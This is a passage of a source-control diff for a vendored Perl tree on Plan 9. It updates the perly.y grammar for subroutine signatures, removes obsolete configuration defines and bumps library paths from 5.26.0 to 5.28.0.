+%type <opval> sigelem siglist siglistornull subsignature optsubsignature
+%type <opval> subbody optsubbody sigsubbody optsigsubbody
 %type <opval> formstmtseq formline formarg
 
 %nonassoc <ival> PREC_LOW
@@ -90,7 +91,7 @@
 %left <ival> ','
 %right <ival> ASSIGNOP
 %right <ival> '?' ':'
-%nonassoc DOTDOT YADAYADA
+%nonassoc DOTDOT
 %left <ival> OROR DORDOR
 %left <ival> ANDAND
 %left <ival> BITOROP
@@ -117,6 +118,7 @@
 grammar	:	GRAMPROG
 			{
 			  parser->expect = XSTATE;
+                          $<ival>$ = 0;
 			}
 		remember stmtseq
 			{
@@ -127,6 +129,7 @@
 	|	GRAMEXPR
 			{
 			  parser->expect = XTERM;
+                          $<ival>$ = 0;
 			}
 		optexpr
 			{
@@ -136,6 +139,7 @@
 	|	GRAMBLOCK
 			{
 			  parser->expect = XBLOCK;
+                          $<ival>$ = 0;
 			}
 		block
 			{
@@ -148,6 +152,7 @@
 	|	GRAMBARESTMT
 			{
 			  parser->expect = XSTATE;
+                          $<ival>$ = 0;
 			}
 		barestmt
 			{
@@ -160,6 +165,7 @@
 	|	GRAMFULLSTMT
 			{
 			  parser->expect = XSTATE;
+                          $<ival>$ = 0;
 			}
 		fullstmt
 			{
@@ -172,6 +178,7 @@
 	|	GRAMSTMTSEQ
 			{
 			  parser->expect = XSTATE;
+                          $<ival>$ = 0;
 			}
 		stmtseq
 			{
@@ -268,28 +275,14 @@
 			  parser->parsed_sub = 1;
 			}
 	|	SUB subname startsub
+                    /* sub declaration or definition not within scope
+                       of 'use feature "signatures"'*/
 			{
-			  if ($2->op_type == OP_CONST) {
-			    const char *const name =
-				SvPV_nolen_const(((SVOP*)$2)->op_sv);
-			    if (strEQ(name, "BEGIN") || strEQ(name, "END")
-			      || strEQ(name, "INIT") || strEQ(name, "CHECK")
-			      || strEQ(name, "UNITCHECK"))
-			      CvSPECIAL_on(PL_compcv);
-			  }
-			  else
-			  /* State subs inside anonymous subs need to be
-			     clonable themselves. */
-			  if (CvANON(CvOUTSIDE(PL_compcv))
-			   || CvCLONE(CvOUTSIDE(PL_compcv))
-			   || !PadnameIsSTATE(PadlistNAMESARRAY(CvPADLIST(
-						CvOUTSIDE(PL_compcv)
-					     ))[$2->op_targ]))
-			      CvCLONE_on(PL_compcv);
+                          init_named_cv(PL_compcv, $2);
 			  parser->in_my = 0;
 			  parser->in_my_stash = NULL;
 			}
-		proto subattrlist optsubbody
+                    proto subattrlist optsubbody
 			{
 			  SvREFCNT_inc_simple_void(PL_compcv);
 			  $2->op_type == OP_CONST
@@ -300,40 +293,22 @@
 			  intro_my();
 			  parser->parsed_sub = 1;
 			}
-	|	SUB subname startsub
+	|	SIGSUB subname startsub
+                    /* sub declaration or definition under 'use feature
+                     * "signatures"'. (Note that a signature isn't
+                     * allowed in a declaration)
+                     */
 			{
-			  if ($2->op_type == OP_CONST) {
-			    const char *const name =
-				SvPV_nolen_const(((SVOP*)$2)->op_sv);
-			    if (strEQ(name, "BEGIN") || strEQ(name, "END")
-			      || strEQ(name, "INIT") || strEQ(name, "CHECK")
-			      || strEQ(name, "UNITCHECK"))
-			      CvSPECIAL_on(PL_compcv);
-			  }
-			  else
-			  /* State subs inside anonymous subs need to be
-			     clonable themselves. */
-			  if (CvANON(CvOUTSIDE(PL_compcv))
-			   || CvCLONE(CvOUTSIDE(PL_compcv))
-			   || !PadnameIsSTATE(PadlistNAMESARRAY(CvPADLIST(
-						CvOUTSIDE(PL_compcv)
-					     ))[$2->op_targ]))
-			      CvCLONE_on(PL_compcv);
+                          init_named_cv(PL_compcv, $2);
 			  parser->in_my = 0;
 			  parser->in_my_stash = NULL;
 			}
-		remember subsignature subattrlist '{' stmtseq '}'
+                    subattrlist optsigsubbody
 			{
-			  OP *body;
-			  if (parser->copline > (line_t)$8)
-			      parser->copline = (line_t)$8;
-			  body = block_end($5,
-				op_append_list(OP_LINESEQ, $6, $9));
-
 			  SvREFCNT_inc_simple_void(PL_compcv);
 			  $2->op_type == OP_CONST
-			      ? newATTRSUB($3, $2, NULL, $7, body)
-			      : newMYSUB($3, $2, NULL, $7, body)
+			      ? newATTRSUB($3, $2, NULL, $5, $6)
+			      : newMYSUB(  $3, $2, NULL, $5, $6)
 			  ;
 			  $$ = NULL;
 			  intro_my();
@@ -475,6 +450,11 @@
 			{
 			  $$ = $1;
 			}
+	|	YADAYADA ';'
+			{
+			  $$ = newLISTOP(OP_DIE, 0, newOP(OP_PUSHMARK, 0),
+				newSVOP(OP_CONST, 0, newSVpvs("Unimplemented")));
+			}
 	|	';'
 			{
 			  $$ = NULL;
@@ -769,6 +749,12 @@
 	|	siglist
 			{ $$ = $1; }
 
+/* optional subroutine signature */
+optsubsignature:	/* NULL */
+			{ $$ = NULL; }
+	|	subsignature
+			{ $$ = $1; }
+
 /* Subroutine signature */
 subsignature:	'('
                         {
@@ -788,9 +774,9 @@
                             UNOP_AUX_item *aux;
                             OP            *check;
 
-                            if (!parser->error_count) {
-                                assert(FEATURE_SIGNATURES_IS_ENABLED);
-                            }
+			    if (!FEATURE_SIGNATURES_IS_ENABLED)
+			        Perl_croak(aTHX_ "Experimental "
+                                    "subroutine signatures not enabled");
 
                             /* We shouldn't get here otherwise */
                             Perl_ck_warner_d(aTHX_
@@ -814,18 +800,52 @@
                                                 newSTATEOP(0, NULL, NULL));
 
                             parser->in_my = 0;
+                            /* tell the toker that attrributes can follow
+                             * this sig, but only so that the toker
+                             * can skip through any (illegal) trailing
+                             * attribute text then give a useful error
+                             * message about "attributes before sig",
+                             * rather than falling over ina mess at
+                             * unrecognised syntax.
+                             */
                             parser->expect = XATTRBLOCK;
+                            parser->sig_seen = TRUE;
                             LEAVE;
 			}
 	;
 
+/* Optional subroutine body (for named subroutine declaration) */
+optsubbody:	subbody { $$ = $1; }
+	|	';'	{ $$ = NULL; }
+	;
 
 
-/* Optional subroutine body, for named subroutine declaration */
-optsubbody:	block
-	|	';'	{ $$ = NULL; }
+/* Subroutine body (without signature) */
+subbody:	remember  '{' stmtseq '}'
+			{
+			  if (parser->copline > (line_t)$2)
+			      parser->copline = (line_t)$2;
+			  $$ = block_end($1, $3);
+			}
 	;
 
+
+/* optional [ Subroutine body with optional signature ] (for named
+ * subroutine declaration) */
+optsigsubbody:	sigsubbody { $$ = $1; }
+	|	';'	   { $$ = NULL; }
+
+/* Subroutine body with optional signature */
+sigsubbody:	remember optsubsignature '{' stmtseq '}'
+			{
+			  if (parser->copline > (line_t)$3)
+			      parser->copline = (line_t)$3;
+			  $$ = block_end($1,
+				op_append_list(OP_LINESEQ, $2, $4));
+ 			}
+ 	;
+
+
 /* Ordinary expressions; logical combinations */
 expr	:	expr ANDOP expr
 			{ $$ = newLOGOP(OP_AND, 0, $1, $3); }
@@ -929,19 +949,31 @@
 					jmaybe($3)); }
 	|	term ARROW '(' ')'          /* $subref->() */
 			{ $$ = newUNOP(OP_ENTERSUB, OPf_STACKED,
-				   newCVREF(0, scalar($1))); }
+				   newCVREF(0, scalar($1)));
+			  if (parser->expect == XBLOCK)
+			      parser->expect = XOPERATOR;
+			}
 	|	term ARROW '(' expr ')'     /* $subref->(@args) */
 			{ $$ = newUNOP(OP_ENTERSUB, OPf_STACKED,
 				   op_append_elem(OP_LIST, $4,
-				       newCVREF(0, scalar($1)))); }
+				       newCVREF(0, scalar($1))));
+			  if (parser->expect == XBLOCK)
+			      parser->expect = XOPERATOR;
+			}
 
 	|	subscripted '(' expr ')'   /* $foo->{bar}->(@args) */
 			{ $$ = newUNOP(OP_ENTERSUB, OPf_STACKED,
 				   op_append_elem(OP_LIST, $3,
-					       newCVREF(0, scalar($1)))); }
+					       newCVREF(0, scalar($1))));
+			  if (parser->expect == XBLOCK)
+			      parser->expect = XOPERATOR;
+			}
 	|	subscripted '(' ')'        /* $foo->{bar}->() */
 			{ $$ = newUNOP(OP_ENTERSUB, OPf_STACKED,
-				   newCVREF(0, scalar($1))); }
+				   newCVREF(0, scalar($1)));
+			  if (parser->expect == XBLOCK)
+			      parser->expect = XOPERATOR;
+			}
 	|	'(' expr ')' '[' expr ']'            /* list slice */
 			{ $$ = newSLICEOP(0, $5, $2); }
 	|	QWLIST '[' expr ']'            /* list literal slice */
@@ -951,7 +983,7 @@
     ;
 
 /* Binary operators between terms */
-termbinop:	term ASSIGNOP term                     /* $x = $y */
+termbinop:	term ASSIGNOP term                     /* $x = $y, $x += $y */
 			{ $$ = newASSIGNOP(OPf_STACKED, $1, $2, $3); }
 	|	term POWOP term                        /* $x ** $y */
 			{ $$ = newBINOP($2, 0, scalar($1), scalar($3)); }
@@ -1029,20 +1061,12 @@
 			{ $$ = newANONHASH($2); }
 	|	HASHBRACK ';' '}'	%prec '(' /* { } (';' by tokener) */
 			{ $$ = newANONHASH(NULL); }
-	|	ANONSUB startanonsub proto subattrlist block		%prec '('
+	|	ANONSUB     startanonsub proto subattrlist subbody    %prec '('
 			{ SvREFCNT_inc_simple_void(PL_compcv);
 			  $$ = newANONATTRSUB($2, $3, $4, $5); }
-	|	ANONSUB startanonsub remember subsignature subattrlist '{' stmtseq '}'	%prec '('
-			{
-			  OP *body;
-			  if (parser->copline > (line_t)$6)
-			      parser->copline = (line_t)$6;
-			  body = block_end($3,
-				op_append_list(OP_LINESEQ, $4, $7));
-			  SvREFCNT_inc_simple_void(PL_compcv);
-			  $$ = newANONATTRSUB($2, NULL, $5, body);
-			}
-
+	|	ANON_SIGSUB startanonsub subattrlist sigsubbody %prec '('
+			{ SvREFCNT_inc_simple_void(PL_compcv);
+			  $$ = newANONATTRSUB($2, NULL, $3, $4); }
     ;
 
 /* Things called with "do" */
@@ -1204,11 +1228,6 @@
 			{ $$ = pmruntime($1, $4, $5, 1, $<ival>2); }
 	|	BAREWORD
 	|	listop
-	|	YADAYADA
-			{
-			  $$ = newLISTOP(OP_DIE, 0, newOP(OP_PUSHMARK, 0),
-				newSVOP(OP_CONST, 0, newSVpvs("Unimplemented")));
-			}
 	|	PLUGEXPR
 	;
 

Modified: vendor/perl/dist/plan9/config.plan9
===================================================================
--- vendor/perl/dist/plan9/config.plan9	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/plan9/config.plan9	2018-12-22 22:55:19 UTC (rev 12126)
@@ -92,24 +92,6 @@
 #define __attribute__(_arg_)
 #endif
 
-/* HAS_BCMP:
- *	This symbol is defined if the bcmp() routine is available to
- *	compare blocks of memory.
- */
-#define HAS_BCMP	/**/
-
-/* HAS_BCOPY:
- *	This symbol is defined if the bcopy() routine is available to
- *	copy blocks of memory.
- */
-#define HAS_BCOPY	/**/
-
-/* HAS_BZERO:
- *	This symbol is defined if the bzero() routine is available to
- *	set a memory block to 0.
- */
-#define HAS_BZERO	/**/
-
 /* HAS_CHOWN:
  *	This symbol, if defined, indicates that the chown routine is
  *	available.
@@ -145,14 +127,6 @@
  */
 #define HAS_CUSERID		/**/
 
-/* HAS_DBL_DIG:
- *	This symbol, if defined, indicates that this system's <float.h>
- *	or <limits.h> defines the symbol DBL_DIG, which is the number
- *	of significant digits in a double precision number.  If this
- *	symbol is not defined, a guess of 15 is usually pretty good.
- */
-#define HAS_DBL_DIG 	/* */
-
 /* HAS_DIFFTIME:
  *	This symbol, if defined, indicates that the difftime routine is
  *	available.
@@ -319,32 +293,6 @@
  */
 #define HAS_MBTOWC		/**/
 
-/* HAS_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	to compare blocks of memory.
- */
-#define HAS_MEMCMP	/**/
-
-/* HAS_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy blocks of memory.
- */
-#define HAS_MEMCPY	/**/
-
-/* HAS_MEMMOVE:
- *	This symbol, if defined, indicates that the memmove routine is available
- *	to copy potentially overlapping blocks of memory. This should be used
- *	only when HAS_SAFE_BCOPY is not defined. If neither is there, roll your
- *	own version.
- */
-#define HAS_MEMMOVE	/**/
-
-/* HAS_MEMSET:
- *	This symbol, if defined, indicates that the memset routine is available
- *	to set blocks of memory.
- */
-#define HAS_MEMSET	/**/
-
 /* HAS_MKDIR:
  *	This symbol, if defined, indicates that the mkdir routine is available
  *	to create directories.  Otherwise you should fork off a new process to
@@ -555,18 +503,6 @@
  */
 #define HAS_SETSID	/**/
 
-/* HAS_STRCHR:
- *	This symbol is defined to indicate that the strchr()/strrchr()
- *	functions are available for string searching. If not, try the
- *	index()/rindex() pair.
- */
-/* HAS_INDEX:
- *	This symbol is defined to indicate that the index()/rindex()
- *	functions are available for string searching.
- */
-#define HAS_STRCHR	/**/
-/*#define HAS_INDEX	/ **/
-
 /* HAS_STRCOLL:
  *	This symbol, if defined, indicates that the strcoll routine is
  *	available to compare strings using collating information.
@@ -573,13 +509,6 @@
  */
 #define HAS_STRCOLL	/**/
 
-/* USE_STRUCT_COPY:
- *	This symbol, if defined, indicates that this C compiler knows how
- *	to copy structures.  If undefined, you'll need to use a block copy
- *	routine of some sort instead.
- */
-#define	USE_STRUCT_COPY	/**/
-
 /* HAS_STRTOD:
  *	This symbol, if defined, indicates that the strtod routine is
  *	available to provide better numeric string conversion than atof().
@@ -658,15 +587,6 @@
  */
 /*#define HAS_USLEEP		/ **/
 
-/* HASVOLATILE:
- *	This symbol, if defined, indicates that this C compiler knows about
- *	the volatile declaration.
- */
-#define	HASVOLATILE	/**/
-#ifndef HASVOLATILE
-#define volatile	/* config-skip */
-#endif
-
 /* HAS_WAIT4:
  *	This symbol, if defined, indicates that wait4() exists.
  */
@@ -738,20 +658,6 @@
  */
 #define I_FCNTL	/**/
 
-/* I_FLOAT:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <float.h> to get definition of symbols like DBL_MAX or
- *	DBL_MIN, i.e. machine dependent floating point values.
- */
-#define I_FLOAT		/**/
-
-/* I_LIMITS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <limits.h> to get definition of symbols like WORD_BIT or
- *	LONG_MAX, i.e. machine dependant limitations.
- */
-#define I_LIMITS		/**/
-
 /* I_LOCALE:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <locale.h>.
@@ -758,18 +664,6 @@
  */
 #define	I_LOCALE		/**/
 
-/* I_MATH:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <math.h>.
- */
-#define I_MATH		/**/
-
-/* I_MEMORY:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <memory.h>.
- */
-/*#define I_MEMORY		/ **/
-
 /* I_NET_ERRNO:
  *	This symbol, if defined, indicates that <net/errno.h> exists and 
  *	should be included.
@@ -782,24 +676,6 @@
  */
 #define I_NETINET_IN	/* config-skip */
 
-/* I_STDDEF:
- *	This symbol, if defined, indicates that <stddef.h> exists and should
- *	be included.
- */
-#define I_STDDEF	/**/
-
-/* I_STDLIB:
- *	This symbol, if defined, indicates that <stdlib.h> exists and should
- *	be included.
- */
-#define I_STDLIB		/**/
-
-/* I_STRING:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <string.h> (USG systems) instead of <strings.h> (BSD systems).
- */
-#define I_STRING		/**/
-
 /* I_SYS_DIR:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <sys/dir.h>.
@@ -910,14 +786,6 @@
  */
 #define I_UTIME		/**/
 
-/* I_VALUES:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <values.h> to get definition of symbols like MINFLOAT or
- *	MAXLONG, i.e. machine dependant limitations.  Probably, you
- *	should use <limits.h> instead, if it is available.
- */
-/*#define I_VALUES		/ **/
-
 /* I_VFORK:
  *	This symbol, if defined, indicates to the C program that it should
  *	include vfork.h.
@@ -2012,12 +1880,6 @@
  */
 /*#define HAS_MADVISE		/ **/
 
-/* HAS_MEMCHR:
- *	This symbol, if defined, indicates that the memchr routine is available
- *	to locate characters within a C string.
- */
-#define HAS_MEMCHR	/**/
-
 /* HAS_MKDTEMP:
  *	This symbol, if defined, indicates that the mkdtemp routine is
  *	available to exclusively create a uniquely named temporary directory.
@@ -2154,29 +2016,6 @@
  */
 /*#define HAS_RECVMSG		/ **/
 
-/* HAS_SAFE_BCOPY:
- *	This symbol, if defined, indicates that the bcopy routine is available
- *	to copy potentially overlapping memory blocks. Normally, you should
- *	probably use memmove() or memcpy(). If neither is defined, roll your
- *	own version.
- */
-/*#define HAS_SAFE_BCOPY	/ **/
-
-/* HAS_SAFE_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy potentially overlapping memory blocks.  If you need to
- *	copy overlapping memory blocks, you should check HAS_MEMMOVE and
- *	use memmove() instead, if available.
- */
-/*#define HAS_SAFE_MEMCPY	/ **/
-
-/* HAS_SANE_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	and can be used to compare relative magnitudes of chars with their high
- *	bits set.  If it is not defined, roll your own version.
- */
-#define HAS_SANE_MEMCMP	/**/
-
 /* HAS_SBRK_PROTO:
  *	This symbol, if defined, indicates that the system provides
  *	a prototype for the sbrk() function.  Otherwise, it is up
@@ -2518,24 +2357,12 @@
 #define FILE_bufsiz(fp)	((fp)->_cnt + (fp)->_ptr - (fp)->_base)
 #endif
 
-/* HAS_STRERROR:
- *	This symbol, if defined, indicates that the strerror routine is
- *	available to translate error numbers to strings. See the writeup
- *	of Strerror() in this file before you try to define your own.
- */
 /* HAS_SYS_ERRLIST:
  *	This symbol, if defined, indicates that the sys_errlist array is
  *	available to translate error numbers to strings. The extern int
  *	sys_nerr gives the size of that table.
  */
-/* Strerror:
- *	This preprocessor symbol is defined as a macro if strerror() is
- *	not available to translate error numbers to strings but sys_errlist[]
- *	array is there.
- */
-#define HAS_STRERROR		/**/
 #define HAS_SYS_ERRLIST	/**/
-#define Strerror(e) strerror(e)
 
 /* HAS_STRERROR_R:
  *	This symbol, if defined, indicates that the strerror_r routine
@@ -2679,20 +2506,6 @@
  */
 #define Signal_t void	/* Signal handler's return type */
 
-/* HAS_VPRINTF:
- *	This symbol, if defined, indicates that the vprintf routine is available
- *	to printf with a pointer to an argument list.  If unavailable, you
- *	may need to write your own, probably in terms of _doprnt().
- */
-/* USE_CHAR_VSPRINTF:
- *	This symbol is defined if this system has vsprintf() returning type
- *	(char*).  The trend seems to be to declare it as "int vsprintf()".  It
- *	is up to the package author to declare vsprintf correctly based on the
- *	symbol.
- */
-#define HAS_VPRINTF	/**/
-#define USE_CHAR_VSPRINTF 	/**/
-
 /* HAS_WRITEV:
  *	This symbol, if defined, indicates that the writev routine is
  *	available to do scatter writes.
@@ -3329,8 +3142,8 @@
  *	This symbol contains the ~name expanded version of PRIVLIB, to be used
  *	in programs that are not prepared to deal with ~ expansion at run-time.
  */
-#define PRIVLIB "/sys/lib/perl/5.26.0"		/**/
-#define PRIVLIB_EXP "/sys/lib/perl/5.26.0"		/**/
+#define PRIVLIB "/sys/lib/perl/5.28.0"		/**/
+#define PRIVLIB_EXP "/sys/lib/perl/5.28.0"		/**/
 
 /* PTRSIZE:
  *	This symbol contains the size of a pointer, so that the C preprocessor
@@ -3457,9 +3270,9 @@
  *	removed.  The elements in inc_version_list (inc_version_list.U) can
  *	be tacked onto this variable to generate a list of directories to search.
  */
-#define SITELIB "/sys/lib/perl/5.26.0/site_perl"		/**/
-#define SITELIB_EXP "/sys/lib/perl/5.26.0/site_perl"		/**/
-#define SITELIB_STEM "/sys/lib/perl/5.26.0/site_perl"		/**/
+#define SITELIB "/sys/lib/perl/5.28.0/site_perl"		/**/
+#define SITELIB_EXP "/sys/lib/perl/5.28.0/site_perl"		/**/
+#define SITELIB_STEM "/sys/lib/perl/5.28.0/site_perl"		/**/
 
 /* Size_t_size:
  *	This symbol holds the size of a Size_t in bytes.
@@ -3722,35 +3535,6 @@
  */
 /*#define I_NDBM	/ **/
 
-/* I_STDARG:
- *	This symbol, if defined, indicates that <stdarg.h> exists and should
- *	be included.
- */
-/* I_VARARGS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <varargs.h>.
- */
-#define I_STDARG		/**/
-/*#define I_VARARGS	/ **/
-
-/* CAN_PROTOTYPE:
- *	If defined, this macro indicates that the C compiler can handle
- *	function prototypes.
- */
-/* _:
- *	This macro is used to declare function parameters for folks who want
- *	to make declarations with prototypes using a different style than
- *	the above macros.  Use double parentheses.  For example:
- *
- *		int main _((int argc, char *argv[]));
- */
-#define	CAN_PROTOTYPE	/**/
-#ifdef CAN_PROTOTYPE
-#define	_(args) args
-#else
-#define	_(args) ()
-#endif
-
 /* SH_PATH:
  *	This symbol contains the full pathname to the shell used on this
  *	on this system to execute Bourne shell scripts.  Usually, this will be

Modified: vendor/perl/dist/plan9/config_h.sample
===================================================================
--- vendor/perl/dist/plan9/config_h.sample	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/plan9/config_h.sample	2018-12-22 22:55:19 UTC (rev 12126)
@@ -50,24 +50,6 @@
 #define __attribute__(_arg_)
 #endif
 
-/* HAS_BCMP:
- *	This symbol is defined if the bcmp() routine is available to
- *	compare blocks of memory.
- */
-#define HAS_BCMP	/**/
-
-/* HAS_BCOPY:
- *	This symbol is defined if the bcopy() routine is available to
- *	copy blocks of memory.
- */
-#define HAS_BCOPY	/**/
-
-/* HAS_BZERO:
- *	This symbol is defined if the bzero() routine is available to
- *	set a memory block to 0.
- */
-#define HAS_BZERO	/**/
-
 /* HAS_CHOWN:
  *	This symbol, if defined, indicates that the chown routine is
  *	available.
@@ -103,14 +85,6 @@
  */
 #define HAS_CUSERID		/**/
 
-/* HAS_DBL_DIG:
- *	This symbol, if defined, indicates that this system's <float.h>
- *	or <limits.h> defines the symbol DBL_DIG, which is the number
- *	of significant digits in a double precision number.  If this
- *	symbol is not defined, a guess of 15 is usually pretty good.
- */
-#define HAS_DBL_DIG 	/* */
-
 /* HAS_DIFFTIME:
  *	This symbol, if defined, indicates that the difftime routine is
  *	available.
@@ -277,32 +251,6 @@
  */
 #define HAS_MBTOWC		/**/
 
-/* HAS_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	to compare blocks of memory.
- */
-#define HAS_MEMCMP	/**/
-
-/* HAS_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy blocks of memory.
- */
-#define HAS_MEMCPY	/**/
-
-/* HAS_MEMMOVE:
- *	This symbol, if defined, indicates that the memmove routine is available
- *	to copy potentially overlapping blocks of memory. This should be used
- *	only when HAS_SAFE_BCOPY is not defined. If neither is there, roll your
- *	own version.
- */
-#define HAS_MEMMOVE	/**/
-
-/* HAS_MEMSET:
- *	This symbol, if defined, indicates that the memset routine is available
- *	to set blocks of memory.
- */
-#define HAS_MEMSET	/**/
-
 /* HAS_MKDIR:
  *	This symbol, if defined, indicates that the mkdir routine is available
  *	to create directories.  Otherwise you should fork off a new process to
@@ -513,18 +461,6 @@
  */
 #define HAS_SETSID	/**/
 
-/* HAS_STRCHR:
- *	This symbol is defined to indicate that the strchr()/strrchr()
- *	functions are available for string searching. If not, try the
- *	index()/rindex() pair.
- */
-/* HAS_INDEX:
- *	This symbol is defined to indicate that the index()/rindex()
- *	functions are available for string searching.
- */
-#define HAS_STRCHR	/**/
-/*#define HAS_INDEX	/ **/
-
 /* HAS_STRCOLL:
  *	This symbol, if defined, indicates that the strcoll routine is
  *	available to compare strings using collating information.
@@ -531,13 +467,6 @@
  */
 #define HAS_STRCOLL	/**/
 
-/* USE_STRUCT_COPY:
- *	This symbol, if defined, indicates that this C compiler knows how
- *	to copy structures.  If undefined, you'll need to use a block copy
- *	routine of some sort instead.
- */
-#define	USE_STRUCT_COPY	/**/
-
 /* HAS_STRTOD:
  *	This symbol, if defined, indicates that the strtod routine is
  *	available to provide better numeric string conversion than atof().
@@ -616,15 +545,6 @@
  */
 /*#define HAS_USLEEP		/ **/
 
-/* HASVOLATILE:
- *	This symbol, if defined, indicates that this C compiler knows about
- *	the volatile declaration.
- */
-#define	HASVOLATILE	/**/
-#ifndef HASVOLATILE
-#define volatile
-#endif
-
 /* HAS_WAIT4:
  *	This symbol, if defined, indicates that wait4() exists.
  */
@@ -654,12 +574,6 @@
  */
 #define	I_ARPA_INET		/**/
 
-/* I_ASSERT:
- *	This symbol, if defined, indicates to the C program that it could
- *	include <assert.h> to get the assert() macro.
- */
-#define	I_ASSERT		/**/
-
 /* I_DBM:
  *	This symbol, if defined, indicates that <dbm.h> exists and should
  *	be included.
@@ -702,20 +616,6 @@
  */
 #define I_FCNTL	/**/
 
-/* I_FLOAT:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <float.h> to get definition of symbols like DBL_MAX or
- *	DBL_MIN, i.e. machine dependent floating point values.
- */
-#define I_FLOAT		/**/
-
-/* I_LIMITS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <limits.h> to get definition of symbols like WORD_BIT or
- *	LONG_MAX, i.e. machine dependant limitations.
- */
-#define I_LIMITS		/**/
-
 /* I_LOCALE:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <locale.h>.
@@ -722,18 +622,6 @@
  */
 #define	I_LOCALE		/**/
 
-/* I_MATH:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <math.h>.
- */
-#define I_MATH		/**/
-
-/* I_MEMORY:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <memory.h>.
- */
-/*#define I_MEMORY		/ **/
-
 /* I_NET_ERRNO:
  *	This symbol, if defined, indicates that <net/errno.h> exists and 
  *	should be included.
@@ -746,24 +634,6 @@
  */
 #define I_NETINET_IN	/**/
 
-/* I_STDDEF:
- *	This symbol, if defined, indicates that <stddef.h> exists and should
- *	be included.
- */
-#define I_STDDEF	/**/
-
-/* I_STDLIB:
- *	This symbol, if defined, indicates that <stdlib.h> exists and should
- *	be included.
- */
-#define I_STDLIB		/**/
-
-/* I_STRING:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <string.h> (USG systems) instead of <strings.h> (BSD systems).
- */
-#define I_STRING		/**/
-
 /* I_SYS_DIR:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <sys/dir.h>.
@@ -873,14 +743,6 @@
  */
 #define I_UTIME		/**/
 
-/* I_VALUES:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <values.h> to get definition of symbols like MINFLOAT or
- *	MAXLONG, i.e. machine dependant limitations.  Probably, you
- *	should use <limits.h> instead, if it is available.
- */
-/*#define I_VALUES		/ **/
-
 /* I_VFORK:
  *	This symbol, if defined, indicates to the C program that it should
  *	include vfork.h.
@@ -1965,12 +1827,6 @@
  */
 /*#define HAS_MADVISE		/ **/
 
-/* HAS_MEMCHR:
- *	This symbol, if defined, indicates that the memchr routine is available
- *	to locate characters within a C string.
- */
-#define HAS_MEMCHR	/**/
-
 /* HAS_MKDTEMP:
  *	This symbol, if defined, indicates that the mkdtemp routine is
  *	available to exclusively create a uniquely named temporary directory.
@@ -2107,29 +1963,6 @@
  */
 /*#define HAS_RECVMSG		/ **/
 
-/* HAS_SAFE_BCOPY:
- *	This symbol, if defined, indicates that the bcopy routine is available
- *	to copy potentially overlapping memory blocks. Normally, you should
- *	probably use memmove() or memcpy(). If neither is defined, roll your
- *	own version.
- */
-/*#define HAS_SAFE_BCOPY	/ **/
-
-/* HAS_SAFE_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy potentially overlapping memory blocks.  If you need to
- *	copy overlapping memory blocks, you should check HAS_MEMMOVE and
- *	use memmove() instead, if available.
- */
-/*#define HAS_SAFE_MEMCPY	/ **/
-
-/* HAS_SANE_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	and can be used to compare relative magnitudes of chars with their high
- *	bits set.  If it is not defined, roll your own version.
- */
-#define HAS_SANE_MEMCMP	/**/
-
 /* HAS_SBRK_PROTO:
  *	This symbol, if defined, indicates that the system provides
  *	a prototype for the sbrk() function.  Otherwise, it is up
@@ -2450,24 +2283,12 @@
 #define FILE_bufsiz(fp)	((fp)->_cnt + (fp)->_ptr - (fp)->_base)
 #endif
 
-/* HAS_STRERROR:
- *	This symbol, if defined, indicates that the strerror routine is
- *	available to translate error numbers to strings. See the writeup
- *	of Strerror() in this file before you try to define your own.
- */
 /* HAS_SYS_ERRLIST:
  *	This symbol, if defined, indicates that the sys_errlist array is
  *	available to translate error numbers to strings. The extern int
  *	sys_nerr gives the size of that table.
  */
-/* Strerror:
- *	This preprocessor symbol is defined as a macro if strerror() is
- *	not available to translate error numbers to strings but sys_errlist[]
- *	array is there.
- */
-#define HAS_STRERROR		/**/
 #define HAS_SYS_ERRLIST	/**/
-#define Strerror(e) strerror(e)
 
 /* HAS_STRERROR_R:
  *	This symbol, if defined, indicates that the strerror_r routine
@@ -2611,20 +2432,6 @@
  */
 #define Signal_t void	/* Signal handler's return type */
 
-/* HAS_VPRINTF:
- *	This symbol, if defined, indicates that the vprintf routine is available
- *	to printf with a pointer to an argument list.  If unavailable, you
- *	may need to write your own, probably in terms of _doprnt().
- */
-/* USE_CHAR_VSPRINTF:
- *	This symbol is defined if this system has vsprintf() returning type
- *	(char*).  The trend seems to be to declare it as "int vsprintf()".  It
- *	is up to the package author to declare vsprintf correctly based on the
- *	symbol.
- */
-#define HAS_VPRINTF	/**/
-#define USE_CHAR_VSPRINTF 	/**/
-
 /* HAS_WRITEV:
  *	This symbol, if defined, indicates that the writev routine is
  *	available to do scatter writes.
@@ -3652,35 +3459,6 @@
  */
 /*#define I_NDBM	/ **/
 
-/* I_STDARG:
- *	This symbol, if defined, indicates that <stdarg.h> exists and should
- *	be included.
- */
-/* I_VARARGS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <varargs.h>.
- */
-#define I_STDARG		/**/
-/*#define I_VARARGS	/ **/
-
-/* CAN_PROTOTYPE:
- *	If defined, this macro indicates that the C compiler can handle
- *	function prototypes.
- */
-/* _:
